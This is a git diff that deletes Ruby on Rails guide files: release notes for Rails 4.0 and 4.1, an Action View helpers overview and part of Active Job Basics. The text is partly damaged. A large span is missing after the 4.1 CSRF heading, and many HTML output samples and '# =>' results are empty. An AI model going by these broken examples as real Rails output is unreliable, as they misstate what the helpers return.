`database.yml`. - -* Remove IdentityMap. - -* Remove automatic execution of EXPLAIN queries. The option `active_record.auto_explain_threshold_in_seconds` is no longer used and should be removed. - -* Adds `ActiveRecord::NullRelation` and `ActiveRecord::Relation#none` implementing the null object pattern for the Relation class. - -* Added `create_join_table` migration helper to create HABTM join tables. - -* Allows PostgreSQL hstore records to be created. - -### Deprecations - -* Deprecated the old-style hash based finder API. This means that methods which previously accepted "finder options" no longer do. - -* All dynamic methods except for `find_by_...` and `find_by_...!` are deprecated. Here's - how you can rewrite the code: - - * `find_all_by_...` can be rewritten using `where(...)`. - * `find_last_by_...` can be rewritten using `where(...).last`. - * `scoped_by_...` can be rewritten using `where(...)`. - * `find_or_initialize_by_...` can be rewritten using `find_or_initialize_by(...)`. - * `find_or_create_by_...` can be rewritten using `find_or_create_by(...)`. - * `find_or_create_by_...!` can be rewritten using `find_or_create_by!(...)`. - -Credits -------- - -See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them. diff --git a/source/4_1_release_notes.md b/source/4_1_release_notes.md deleted file mode 100644 index 6bf6575..0000000 --- a/source/4_1_release_notes.md +++ /dev/null @@ -1,732 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -Ruby on Rails 4.1 Release Notes -=============================== - -Highlights in Rails 4.1: - -* Spring application preloader -* `config/secrets.yml` -* Action Pack variants -* Action Mailer previews - -These release notes cover only the major changes. To learn about various bug -fixes and changes, please refer to the change logs or check out the [list of -commits](https://github.com/rails/rails/commits/4-1-stable) in the main Rails -repository on GitHub. - --------------------------------------------------------------------------------- - -Upgrading to Rails 4.1 ----------------------- - -If you're upgrading an existing application, it's a great idea to have good test -coverage before going in. You should also first upgrade to Rails 4.0 in case you -haven't and make sure your application still runs as expected before attempting -an update to Rails 4.1. A list of things to watch out for when upgrading is -available in the -[Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-4-0-to-rails-4-1) -guide. - - -Major Features --------------- - -### Spring Application Preloader - -Spring is a Rails application preloader. It speeds up development by keeping -your application running in the background so you don't need to boot it every -time you run a test, rake task or migration. - -New Rails 4.1 applications will ship with "springified" binstubs. This means -that `bin/rails` and `bin/rake` will automatically take advantage of preloaded -spring environments. - -**Running rake tasks:** - -``` -bin/rake test:models -``` - -**Running a Rails command:** - -``` -bin/rails console -``` - -**Spring introspection:** - -``` -$ bin/spring status -Spring is running: - - 1182 spring server | my_app | started 29 mins ago - 3656 spring app | my_app | started 23 secs ago | test mode - 3746 spring app | my_app | started 10 secs ago | development mode -``` - -Have a look at the -[Spring README](https://github.com/rails/spring/blob/master/README.md) to -see all available features. - -See the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#spring) -guide on how to migrate existing applications to use this feature. - -### `config/secrets.yml` - -Rails 4.1 generates a new `secrets.yml` file in the `config` folder. By default, -this file contains the application's `secret_key_base`, but it could also be -used to store other secrets such as access keys for external APIs. - -The secrets added to this file are accessible via `Rails.application.secrets`. -For example, with the following `config/secrets.yml`: - -```yaml -development: - secret_key_base: 3b7cd727ee24e8444053437c36cc66c3 - some_api_key: SOMEKEY -``` - -`Rails.application.secrets.some_api_key` returns `SOMEKEY` in the development -environment. - -See the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#config-secrets-yml) -guide on how to migrate existing applications to use this feature. - -### Action Pack Variants - -We often want to render different HTML/JSON/XML templates for phones, -tablets, and desktop browsers. Variants make it easy. - -The request variant is a specialization of the request format, like `:tablet`, -`:phone`, or `:desktop`. - -You can set the variant in a `before_action`: - -```ruby -request.variant = :tablet if request.user_agent =~ /iPad/ -``` - -Respond to variants in the action just like you respond to formats: - -```ruby -respond_to do |format| - format.html do |html| - html.tablet # renders app/views/projects/show.html+tablet.erb - html.phone { extra_setup; render ... } - end -end -``` - -Provide separate templates for each format and variant: - -``` -app/views/projects/show.html.erb -app/views/projects/show.html+tablet.erb -app/views/projects/show.html+phone.erb -``` - -You can also simplify the variants definition using the inline syntax: - -```ruby -respond_to do |format| - format.js { render "trash" } - format.html.phone { redirect_to progress_path } - format.html.none { render "trash" } -end -``` - -### Action Mailer Previews - -Action Mailer previews provide a way to see how emails look by visiting -a special URL that renders them. - -You implement a preview class whose methods return the mail object you'd like -to check: - -```ruby -class NotifierPreview < ActionMailer::Preview - def welcome - Notifier.welcome(User.first) - end -end -``` - -The preview is available in http://localhost:3000/rails/mailers/notifier/welcome, -and a list of them in http://localhost:3000/rails/mailers. - -By default, these preview classes live in `test/mailers/previews`. -This can be configured using the `preview_path` option. - -See its -[documentation](http://api.rubyonrails.org/v4.1.0/classes/ActionMailer/Base.html#class-ActionMailer::Base-label-Previewing+emails) -for a detailed write up. - -### Active Record enums - -Declare an enum attribute where the values map to integers in the database, but -can be queried by name. - -```ruby -class Conversation < ActiveRecord::Base - enum status: [ :active, :archived ] -end - -conversation.archived! -conversation.active? # => false -conversation.status # => "archived" - -Conversation.archived # => Relation for all archived Conversations - -Conversation.statuses # => { "active" => 0, "archived" => 1 } -``` - -See its -[documentation](http://api.rubyonrails.org/v4.1.0/classes/ActiveRecord/Enum.html) -for a detailed write up. - -### Message Verifiers - -Message verifiers can be used to generate and verify signed messages. This can -be useful to safely transport sensitive data like remember-me tokens and -friends. - -The method `Rails.application.message_verifier` returns a new message verifier -that signs messages with a key derived from secret_key_base and the given -message verifier name: - -```ruby -signed_token = Rails.application.message_verifier(:remember_me).generate(token) -Rails.application.message_verifier(:remember_me).verify(signed_token) # => token - -Rails.application.message_verifier(:remember_me).verify(tampered_token) -# raises ActiveSupport::MessageVerifier::InvalidSignature -``` - -### Module#concerning - -A natural, low-ceremony way to separate responsibilities within a class: - -```ruby -class Todo < ActiveRecord::Base - concerning :EventTracking do - included do - has_many :events - end - - def latest_event - ... - end - - private - def some_internal_method - ... - end - end -end -``` - -This example is equivalent to defining a `EventTracking` module inline, -extending it with `ActiveSupport::Concern`, then mixing it in to the -`Todo` class. - -See its -[documentation](http://api.rubyonrails.org/v4.1.0/classes/Module/Concerning.html) -for a detailed write up and the intended use cases. - -### CSRF protection from remote ` -``` - -If the application does not use the asset pipeline, to include the jQuery JavaScript library in your application, pass `:defaults` as the source. When using `:defaults`, if an `application.js` file exists in your `app/assets/javascripts` directory, it will be included as well. - -```ruby -javascript_include_tag :defaults -``` - -You can also include all JavaScript files in the `app/assets/javascripts` directory using `:all` as the source. - -```ruby -javascript_include_tag :all -``` - -You can also cache multiple JavaScript files into one file, which requires less HTTP connections to download and can better be compressed by gzip (leading to faster transfers). Caching will only happen if `ActionController::Base.perform_caching` is set to true (which is the case by default for the Rails production environment, but not for the development environment). - -```ruby -javascript_include_tag :all, cache: true # => - -``` - -#### javascript_path - -Computes the path to a JavaScript asset in the `app/assets/javascripts` directory. If the source filename has no extension, `.js` will be appended. Full paths from the document root will be passed through. Used internally by `javascript_include_tag` to build the script path. - -```ruby -javascript_path "common" # => /assets/common.js -``` - -#### javascript_url - -Computes the URL to a JavaScript asset in the `app/assets/javascripts` directory. This will call `javascript_path` internally and merge with your current host or your asset host. - -```ruby -javascript_url "common" # => http://www.example.com/assets/common.js -``` - -#### stylesheet_link_tag - -Returns a stylesheet link tag for the sources specified as arguments. If you don't specify an extension, `.css` will be appended automatically. - -```ruby -stylesheet_link_tag "application" # => -``` - -You can also include all styles in the stylesheet directory using `:all` as the source: - -```ruby -stylesheet_link_tag :all -``` - -You can also cache multiple stylesheets into one file, which requires less HTTP connections and can better be compressed by gzip (leading to faster transfers). Caching will only happen if ActionController::Base.perform_caching is set to true (which is the case by default for the Rails production environment, but not for the development environment). - -```ruby -stylesheet_link_tag :all, cache: true -# => -``` - -#### stylesheet_path - -Computes the path to a stylesheet asset in the `app/assets/stylesheets` directory. If the source filename has no extension, `.css` will be appended. Full paths from the document root will be passed through. Used internally by stylesheet_link_tag to build the stylesheet path. - -```ruby -stylesheet_path "application" # => /assets/application.css -``` - -#### stylesheet_url - -Computes the URL to a stylesheet asset in the `app/assets/stylesheets` directory. This will call `stylesheet_path` internally and merge with your current host or your asset host. - -```ruby -stylesheet_url "application" # => http://www.example.com/assets/application.css -``` - -### AtomFeedHelper - -#### atom_feed - -This helper makes building an Atom feed easy. Here's a full usage example: - -**config/routes.rb** - -```ruby -resources :articles -``` - -**app/controllers/articles_controller.rb** - -```ruby -def index - @articles = Article.all - - respond_to do |format| - format.html - format.atom - end -end -``` - -**app/views/articles/index.atom.builder** - -```ruby -atom_feed do |feed| - feed.title("Articles Index") - feed.updated(@articles.first.created_at) - - @articles.each do |article| - feed.entry(article) do |entry| - entry.title(article.title) - entry.content(article.body, type: 'html') - - entry.author do |author| - author.name(article.author_name) - end - end - end -end -``` - -### BenchmarkHelper - -#### benchmark - -Allows you to measure the execution time of a block in a template and records the result to the log. Wrap this block around expensive operations or possible bottlenecks to get a time reading for the operation. - -```html+erb -<% benchmark "Process data files" do %> - <%= expensive_files_operation %> -<% end %> -``` - -This would add something like "Process data files (0.34523)" to the log, which you can then use to compare timings when optimizing your code. - -### CacheHelper - -#### cache - -A method for caching fragments of a view rather than an entire action or page. This technique is useful for caching pieces like menus, lists of news topics, static HTML fragments, and so on. This method takes a block that contains the content you wish to cache. See `AbstractController::Caching::Fragments` for more information. - -```erb -<% cache do %> - <%= render "shared/footer" %> -<% end %> -``` - -### CaptureHelper - -#### capture - -The `capture` method allows you to extract part of a template into a variable. You can then use this variable anywhere in your templates or layout. - -```html+erb -<% @greeting = capture do %> -

Welcome! The date and time is <%= Time.now %>

-<% end %> -``` - -The captured variable can then be used anywhere else. - -```html+erb - - - Welcome! - - - <%= @greeting %> - - -``` - -#### content_for - -Calling `content_for` stores a block of markup in an identifier for later use. You can make subsequent calls to the stored content in other templates or the layout by passing the identifier as an argument to `yield`. - -For example, let's say we have a standard application layout, but also a special page that requires certain JavaScript that the rest of the site doesn't need. We can use `content_for` to include this JavaScript on our special page without fattening up the rest of the site. - -**app/views/layouts/application.html.erb** - -```html+erb - - - Welcome! - <%= yield :special_script %> - - -

Welcome! The date and time is <%= Time.now %>

- - -``` - -**app/views/articles/special.html.erb** - -```html+erb -

This is a special page.

- -<% content_for :special_script do %> - -<% end %> -``` - -### DateHelper - -#### date_select - -Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based attribute. - -```ruby -date_select("article", "published_on") -``` - -#### datetime_select - -Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a specified datetime-based attribute. - -```ruby -datetime_select("article", "published_on") -``` - -#### distance_of_time_in_words - -Reports the approximate distance in time between two Time or Date objects or integers as seconds. Set `include_seconds` to true if you want more detailed approximations. - -```ruby -distance_of_time_in_words(Time.now, Time.now + 15.seconds) # => less than a minute -distance_of_time_in_words(Time.now, Time.now + 15.seconds, include_seconds: true) # => less than 20 seconds -``` - -#### select_date - -Returns a set of HTML select-tags (one for year, month, and day) pre-selected with the `date` provided. - -```ruby -# Generates a date select that defaults to the date provided (six days after today) -select_date(Time.today + 6.days) - -# Generates a date select that defaults to today (no specified date) -select_date() -``` - -#### select_datetime - -Returns a set of HTML select-tags (one for year, month, day, hour, and minute) pre-selected with the `datetime` provided. - -```ruby -# Generates a datetime select that defaults to the datetime provided (four days after today) -select_datetime(Time.now + 4.days) - -# Generates a datetime select that defaults to today (no specified datetime) -select_datetime() -``` - -#### select_day - -Returns a select tag with options for each of the days 1 through 31 with the current day selected. - -```ruby -# Generates a select field for days that defaults to the day for the date provided -select_day(Time.today + 2.days) - -# Generates a select field for days that defaults to the number given -select_day(5) -``` - -#### select_hour - -Returns a select tag with options for each of the hours 0 through 23 with the current hour selected. - -```ruby -# Generates a select field for hours that defaults to the hours for the time provided -select_hour(Time.now + 6.hours) -``` - -#### select_minute - -Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected. - -```ruby -# Generates a select field for minutes that defaults to the minutes for the time provided. -select_minute(Time.now + 10.minutes) -``` - -#### select_month - -Returns a select tag with options for each of the months January through December with the current month selected. - -```ruby -# Generates a select field for months that defaults to the current month -select_month(Date.today) -``` - -#### select_second - -Returns a select tag with options for each of the seconds 0 through 59 with the current second selected. - -```ruby -# Generates a select field for seconds that defaults to the seconds for the time provided -select_second(Time.now + 16.seconds) -``` - -#### select_time - -Returns a set of HTML select-tags (one for hour and minute). - -```ruby -# Generates a time select that defaults to the time provided -select_time(Time.now) -``` - -#### select_year - -Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the `:start_year` and `:end_year` keys in the `options`. - -```ruby -# Generates a select field for five years on either side of Date.today that defaults to the current year -select_year(Date.today) - -# Generates a select field from 1900 to 2009 that defaults to the current year -select_year(Date.today, start_year: 1900, end_year: 2009) -``` - -#### time_ago_in_words - -Like `distance_of_time_in_words`, but where `to_time` is fixed to `Time.now`. - -```ruby -time_ago_in_words(3.minutes.from_now) # => 3 minutes -``` - -#### time_select - -Returns a set of select tags (one for hour, minute and optionally second) pre-selected for accessing a specified time-based attribute. The selects are prepared for multi-parameter assignment to an Active Record object. - -```ruby -# Creates a time select tag that, when POSTed, will be stored in the order variable in the submitted attribute -time_select("order", "submitted") -``` - -### DebugHelper - -Returns a `pre` tag that has object dumped by YAML. This creates a very readable way to inspect an object. - -```ruby -my_hash = { 'first' => 1, 'second' => 'two', 'third' => [1,2,3] } -debug(my_hash) -``` - -```html -
---
-first: 1
-second: two
-third:
-- 1
-- 2
-- 3
-
-``` - -### FormHelper - -Form helpers are designed to make working with models much easier compared to using just standard HTML elements by providing a set of methods for creating forms based on your models. This helper generates the HTML for forms, providing a method for each sort of input (e.g., text, password, select, and so on). When the form is submitted (i.e., when the user hits the submit button or form.submit is called via JavaScript), the form inputs will be bundled into the params object and passed back to the controller. - -There are two types of form helpers: those that specifically work with model attributes and those that don't. This helper deals with those that work with model attributes; to see an example of form helpers that don't work with model attributes, check the `ActionView::Helpers::FormTagHelper` documentation. - -The core method of this helper, `form_for`, gives you the ability to create a form for a model instance; for example, let's say that you have a model Person and want to create a new instance of it: - -```html+erb -# Note: a @person variable will have been created in the controller (e.g. @person = Person.new) -<%= form_for @person, url: { action: "create" } do |f| %> - <%= f.text_field :first_name %> - <%= f.text_field :last_name %> - <%= submit_tag 'Create' %> -<% end %> -``` - -The HTML generated for this would be: - -```html - - - - - -``` - -The params object created when this form is submitted would look like: - -```ruby -{ "action" => "create", "controller" => "people", "person" => { "first_name" => "William", "last_name" => "Smith" } } -``` - -The params hash has a nested person value, which can therefore be accessed with params[:person] in the controller. - -#### check_box - -Returns a checkbox tag tailored for accessing a specified attribute. - -```ruby -# Let's say that @article.validated? is 1: -check_box("article", "validated") -# => -# -``` - -#### fields_for - -Creates a scope around a specific model object like `form_for`, but doesn't create the form tags themselves. This makes `fields_for` suitable for specifying additional model objects in the same form: - -```html+erb -<%= form_for @person, url: { action: "update" } do |person_form| %> - First name: <%= person_form.text_field :first_name %> - Last name : <%= person_form.text_field :last_name %> - - <%= fields_for @person.permission do |permission_fields| %> - Admin? : <%= permission_fields.check_box :admin %> - <% end %> -<% end %> -``` - -#### file_field - -Returns a file upload input tag tailored for accessing a specified attribute. - -```ruby -file_field(:user, :avatar) -# => -``` - -#### form_for - -Creates a form and a scope around a specific model object that is used as a base for questioning about values for the fields. - -```html+erb -<%= form_for @article do |f| %> - <%= f.label :title, 'Title' %>: - <%= f.text_field :title %>
- <%= f.label :body, 'Body' %>: - <%= f.text_area :body %>
-<% end %> -``` - -#### hidden_field - -Returns a hidden input tag tailored for accessing a specified attribute. - -```ruby -hidden_field(:user, :token) -# => -``` - -#### label - -Returns a label tag tailored for labelling an input field for a specified attribute. - -```ruby -label(:article, :title) -# => -``` - -#### password_field - -Returns an input tag of the "password" type tailored for accessing a specified attribute. - -```ruby -password_field(:login, :pass) -# => -``` - -#### radio_button - -Returns a radio button tag for accessing a specified attribute. - -```ruby -# Let's say that @article.category returns "rails": -radio_button("article", "category", "rails") -radio_button("article", "category", "java") -# => -# -``` - -#### text_area - -Returns a textarea opening and closing tag set tailored for accessing a specified attribute. - -```ruby -text_area(:comment, :text, size: "20x30") -# => -``` - -#### text_field - -Returns an input tag of the "text" type tailored for accessing a specified attribute. - -```ruby -text_field(:article, :title) -# => -``` - -#### email_field - -Returns an input tag of the "email" type tailored for accessing a specified attribute. - -```ruby -email_field(:user, :email) -# => -``` - -#### url_field - -Returns an input tag of the "url" type tailored for accessing a specified attribute. - -```ruby -url_field(:user, :url) -# => -``` - -### FormOptionsHelper - -Provides a number of methods for turning different kinds of containers into a set of option tags. - -#### collection_select - -Returns `select` and `option` tags for the collection of existing return values of `method` for `object`'s class. - -Example object structure for use with this method: - -```ruby -class Article < ApplicationRecord - belongs_to :author -end - -class Author < ApplicationRecord - has_many :articles - def name_with_initial - "#{first_name.first}. #{last_name}" - end -end -``` - -Sample usage (selecting the associated Author for an instance of Article, `@article`): - -```ruby -collection_select(:article, :author_id, Author.all, :id, :name_with_initial, { prompt: true }) -``` - -If `@article.author_id` is 1, this would return: - -```html - -``` - -#### collection_radio_buttons - -Returns `radio_button` tags for the collection of existing return values of `method` for `object`'s class. - -Example object structure for use with this method: - -```ruby -class Article < ApplicationRecord - belongs_to :author -end - -class Author < ApplicationRecord - has_many :articles - def name_with_initial - "#{first_name.first}. #{last_name}" - end -end -``` - -Sample usage (selecting the associated Author for an instance of Article, `@article`): - -```ruby -collection_radio_buttons(:article, :author_id, Author.all, :id, :name_with_initial) -``` - -If `@article.author_id` is 1, this would return: - -```html - - - - - - -``` - -#### collection_check_boxes - -Returns `check_box` tags for the collection of existing return values of `method` for `object`'s class. - -Example object structure for use with this method: - -```ruby -class Article < ApplicationRecord - has_and_belongs_to_many :authors -end - -class Author < ApplicationRecord - has_and_belongs_to_many :articles - def name_with_initial - "#{first_name.first}. #{last_name}" - end -end -``` - -Sample usage (selecting the associated Authors for an instance of Article, `@article`): - -```ruby -collection_check_boxes(:article, :author_ids, Author.all, :id, :name_with_initial) -``` - -If `@article.author_ids` is [1], this would return: - -```html - - - - - - - -``` - -#### option_groups_from_collection_for_select - -Returns a string of `option` tags, like `options_from_collection_for_select`, but groups them by `optgroup` tags based on the object relationships of the arguments. - -Example object structure for use with this method: - -```ruby -class Continent < ApplicationRecord - has_many :countries - # attribs: id, name -end - -class Country < ApplicationRecord - belongs_to :continent - # attribs: id, name, continent_id -end -``` - -Sample usage: - -```ruby -option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3) -``` - -Possible output: - -```html - - - - ... - - - - - - ... - -``` - -Note: Only the `optgroup` and `option` tags are returned, so you still have to wrap the output in an appropriate `select` tag. - -#### options_for_select - -Accepts a container (hash, array, enumerable, your type) and returns a string of option tags. - -```ruby -options_for_select([ "VISA", "MasterCard" ]) -# => -``` - -Note: Only the `option` tags are returned, you have to wrap this call in a regular HTML `select` tag. - -#### options_from_collection_for_select - -Returns a string of option tags that have been compiled by iterating over the `collection` and assigning the result of a call to the `value_method` as the option value and the `text_method` as the option text. - -```ruby -# options_from_collection_for_select(collection, value_method, text_method, selected = nil) -``` - -For example, imagine a loop iterating over each person in `@project.people` to generate an input tag: - -```ruby -options_from_collection_for_select(@project.people, "id", "name") -# => -``` - -Note: Only the `option` tags are returned, you have to wrap this call in a regular HTML `select` tag. - -#### select - -Create a select tag and a series of contained option tags for the provided object and method. - -Example: - -```ruby -select("article", "person_id", Person.all.collect { |p| [ p.name, p.id ] }, { include_blank: true }) -``` - -If `@article.person_id` is 1, this would become: - -```html - -``` - -#### time_zone_options_for_select - -Returns a string of option tags for pretty much any time zone in the world. - -#### time_zone_select - -Returns select and option tags for the given object and method, using `time_zone_options_for_select` to generate the list of option tags. - -```ruby -time_zone_select( "user", "time_zone") -``` - -#### date_field - -Returns an input tag of the "date" type tailored for accessing a specified attribute. - -```ruby -date_field("user", "dob") -``` - -### FormTagHelper - -Provides a number of methods for creating form tags that don't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually. - -#### check_box_tag - -Creates a check box form input tag. - -```ruby -check_box_tag 'accept' -# => -``` - -#### field_set_tag - -Creates a field set for grouping HTML form elements. - -```html+erb -<%= field_set_tag do %> -

<%= text_field_tag 'name' %>

-<% end %> -# =>

-``` - -#### file_field_tag - -Creates a file upload field. - -```html+erb -<%= form_tag({ action: "post" }, multipart: true) do %> - <%= file_field_tag "file" %> - <%= submit_tag %> -<% end %> -``` - -Example output: - -```ruby -file_field_tag 'attachment' -# => -``` - -#### form_tag - -Starts a form tag that points the action to a URL configured with `url_for_options` just like `ActionController::Base#url_for`. - -```html+erb -<%= form_tag '/articles' do %> -
<%= submit_tag 'Save' %>
-<% end %> -# =>
-``` - -#### hidden_field_tag - -Creates a hidden form input field used to transmit data that would be lost due to HTTP's statelessness or data that should be hidden from the user. - -```ruby -hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@' -# => -``` - -#### image_submit_tag - -Displays an image which when clicked will submit the form. - -```ruby -image_submit_tag("login.png") -# => -``` - -#### label_tag - -Creates a label field. - -```ruby -label_tag 'name' -# => -``` - -#### password_field_tag - -Creates a password field, a masked text field that will hide the users input behind a mask character. - -```ruby -password_field_tag 'pass' -# => -``` - -#### radio_button_tag - -Creates a radio button; use groups of radio buttons named the same to allow users to select from a group of options. - -```ruby -radio_button_tag 'gender', 'male' -# => -``` - -#### select_tag - -Creates a dropdown selection box. - -```ruby -select_tag "people", "" -# => -``` - -#### submit_tag - -Creates a submit button with the text provided as the caption. - -```ruby -submit_tag "Publish this article" -# => -``` - -#### text_area_tag - -Creates a text input area; use a textarea for longer text inputs such as blog posts or descriptions. - -```ruby -text_area_tag 'article' -# => -``` - -#### text_field_tag - -Creates a standard text field; use these text fields to input smaller chunks of text like a username or a search query. - -```ruby -text_field_tag 'name' -# => -``` - -#### email_field_tag - -Creates a standard input field of email type. - -```ruby -email_field_tag 'email' -# => -``` - -#### url_field_tag - -Creates a standard input field of url type. - -```ruby -url_field_tag 'url' -# => -``` - -#### date_field_tag - -Creates a standard input field of date type. - -```ruby -date_field_tag "dob" -# => -``` - -### JavaScriptHelper - -Provides functionality for working with JavaScript in your views. - -#### escape_javascript - -Escape carrier returns and single and double quotes for JavaScript segments. - -#### javascript_tag - -Returns a JavaScript tag wrapping the provided code. - -```ruby -javascript_tag "alert('All is good')" -``` - -```html - -``` - -### NumberHelper - -Provides methods for converting numbers into formatted strings. Methods are provided for phone numbers, currency, percentage, precision, positional notation, and file size. - -#### number_to_currency - -Formats a number into a currency string (e.g., $13.65). - -```ruby -number_to_currency(1234567890.50) # => $1,234,567,890.50 -``` - -#### number_to_human_size - -Formats the bytes in size into a more understandable representation; useful for reporting file sizes to users. - -```ruby -number_to_human_size(1234) # => 1.2 KB -number_to_human_size(1234567) # => 1.2 MB -``` - -#### number_to_percentage - -Formats a number as a percentage string. - -```ruby -number_to_percentage(100, precision: 0) # => 100% -``` - -#### number_to_phone - -Formats a number into a phone number (US by default). - -```ruby -number_to_phone(1235551234) # => 123-555-1234 -``` - -#### number_with_delimiter - -Formats a number with grouped thousands using a delimiter. - -```ruby -number_with_delimiter(12345678) # => 12,345,678 -``` - -#### number_with_precision - -Formats a number with the specified level of `precision`, which defaults to 3. - -```ruby -number_with_precision(111.2345) # => 111.235 -number_with_precision(111.2345, precision: 2) # => 111.23 -``` - -### SanitizeHelper - -The SanitizeHelper module provides a set of methods for scrubbing text of undesired HTML elements. - -#### sanitize - -This sanitize helper will HTML encode all tags and strip all attributes that aren't specifically allowed. - -```ruby -sanitize @article.body -``` - -If either the `:attributes` or `:tags` options are passed, only the mentioned attributes and tags are allowed and nothing else. - -```ruby -sanitize @article.body, tags: %w(table tr td), attributes: %w(id class style) -``` - -To change defaults for multiple uses, for example adding table tags to the default: - -```ruby -class Application < Rails::Application - config.action_view.sanitized_allowed_tags = 'table', 'tr', 'td' -end -``` - -#### sanitize_css(style) - -Sanitizes a block of CSS code. - -#### strip_links(html) -Strips all link tags from text leaving just the link text. - -```ruby -strip_links('Ruby on Rails') -# => Ruby on Rails -``` - -```ruby -strip_links('emails to me@email.com.') -# => emails to me@email.com. -``` - -```ruby -strip_links('Blog: Visit.') -# => Blog: Visit. -``` - -#### strip_tags(html) - -Strips all HTML tags from the html, including comments. -This functionality is powered by the rails-html-sanitizer gem. - -```ruby -strip_tags("Strip these tags!") -# => Strip these tags! -``` - -```ruby -strip_tags("Bold no more! See more") -# => Bold no more! See more -``` - -NB: The output may still contain unescaped '<', '>', '&' characters and confuse browsers. - -### CsrfHelper - -Returns meta tags "csrf-param" and "csrf-token" with the name of the cross-site -request forgery protection parameter and token, respectively. - -```html -<%= csrf_meta_tags %> -``` - -NOTE: Regular forms generate hidden fields so they do not use these tags. More -details can be found in the [Rails Security Guide](security.html#cross-site-request-forgery-csrf). - -Localized Views ---------------- - -Action View has the ability to render different templates depending on the current locale. - -For example, suppose you have an `ArticlesController` with a show action. By default, calling this action will render `app/views/articles/show.html.erb`. But if you set `I18n.locale = :de`, then `app/views/articles/show.de.html.erb` will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available. - -You can use the same technique to localize the rescue files in your public directory. For example, setting `I18n.locale = :de` and creating `public/500.de.html` and `public/404.de.html` would allow you to have localized rescue pages. - -Since Rails doesn't restrict the symbols that you use to set I18n.locale, you can leverage this system to display different content depending on anything you like. For example, suppose you have some "expert" users that should see different pages from "normal" users. You could add the following to `app/controllers/application.rb`: - -```ruby -before_action :set_expert_locale - -def set_expert_locale - I18n.locale = :expert if current_user.expert? -end -``` - -Then you could create special views like `app/views/articles/show.expert.html.erb` that would only be displayed to expert users. - -You can read more about the Rails Internationalization (I18n) API [here](i18n.html). diff --git a/source/active_job_basics.md b/source/active_job_basics.md deleted file mode 100644 index b58ca61..0000000 --- a/source/active_job_basics.md +++ /dev/null @@ -1,389 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -Active Job Basics -================= - -This guide provides you with all you need to get started in creating, -enqueuing and executing background jobs. - -After reading this guide, you will know: - -* How to create jobs. -* How to enqueue jobs. -* How to run jobs in the background. -* How to send emails from your application asynchronously. - --------------------------------------------------------------------------------- - - -Introduction ------------- - -Active Job is a framework for declaring jobs and making them run on a variety -of queuing backends. These jobs can be everything from regularly scheduled -clean-ups, to billing charges, to mailings. Anything that can be chopped up -into small units of work and run in parallel, really. - - -The Purpose of Active Job ------------------------------ -The main point is to ensure that all Rails apps will have a job infrastructure -in place. We can then have framework features and other gems build on top of that, -without having to worry about API differences between various job runners such as -Delayed Job and Resque. Picking your queuing backend becomes more of an operational -concern, then. And you'll be able to switch between them without having to rewrite -your jobs. - -NOTE: Rails by default comes with an asynchronous queuing implementation that -runs jobs with an in-process thread pool. Jobs will run asynchronously, but any -jobs in the queue will be dropped upon restart. - - -Creating a Job --------------- - -This section will provide a step-by-step guide to creating a job and enqueuing it. - -### Create the Job - -Active Job provides a Rails generator to create jobs. The following will create a -job in `app/jobs` (with an attached test case under `test/jobs`): - -```bash -$ bin/rails generate job guests_cleanup -invoke test_unit -create test/jobs/guests_cleanup_job_test.rb -create app/jobs/guests_cleanup_job.rb -``` - -You can also create a job that will run on a specific queue: - -```bash -$ bin/rails generate job guests_cleanup --queue urgent -``` - -If you don't want to use a generator, you could create your own file inside of -`app/jobs`, just make sure that it inherits from `ApplicationJob`. - -Here's what a job looks like: - -```ruby -class GuestsCleanupJob < ApplicationJob - queue_as :default - - def perform(*guests) - # Do something later - end -end -``` - -Note that you can define `perform` with as many arguments as you want. - -### Enqueue the Job - -Enqueue a job like so: - -```ruby -# Enqueue a job to be performed as soon as the queuing system is -# free. -GuestsCleanupJob.perform_later guest -``` - -```ruby -# Enqueue a job to be performed tomorrow at noon. -GuestsCleanupJob.set(wait_until: Date.tomorrow.noon).perform_later(guest) -``` - -```ruby -# Enqueue a job to be performed 1 week from now. -GuestsCleanupJob.set(wait: 1.week).perform_later(guest) -``` - -```ruby -# `perform_now` and `perform_later` will call `perform` under the hood so -# you can pass as many arguments as defined in the latter. -GuestsCleanupJob.perform_later(guest1, guest2, filter: 'some_filter') -``` - -That's it! - -Job Execution -------------- - -For enqueuing and executing jobs in production you need to set up a queuing backend, -that is to say you need to decide for a 3rd-party queuing library that Rails should use. -Rails itself only provides an in-process queuing system, which only keeps the jobs in RAM. -If the process crashes or the machine is reset, then all outstanding jobs are lost with the -default async backend. This may be fine for smaller apps or non-critical jobs, but most -production apps will need to pick a persistent backend. - -### Backends - -Active Job has built-in adapters for multiple queuing backends (Sidekiq, -Resque, Delayed Job and others). To get an up-to-date list of the adapters -see the API Documentation for [ActiveJob::QueueAdapters](http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html). - -### Setting the Backend - -You can easily set your queuing backend: - -```ruby -# config/application.rb -module YourApp - class Application < Rails::Application - # Be sure to have the adapter's gem in your Gemfile - # and follow the adapter's specific installation - # and deployment instructions. - config.active_job.queue_adapter = :sidekiq - end -end -``` - -You can also configure your backend on a per job basis. - -```ruby -class GuestsCleanupJob < ApplicationJob - self.queue_adapter = :resque - #.... -end - -# Now your job will use `resque` as it's backend queue adapter overriding what -# was configured in `config.active_job.queue_adapter`. -``` - -### Starting the Backend - -Since jobs run in parallel to your Rails application, most queuing libraries -require that you start a library-specific queuing service (in addition to -starting your Rails app) for the job processing to work. Refer to library -documentation for instructions on starting your queue backend. - -Here is a noncomprehensive list of documentation: - -- [Sidekiq](https://github.com/mperham/sidekiq/wiki/Active-Job) -- [Resque](https://github.com/resque/resque/wiki/ActiveJob) -- [Sucker 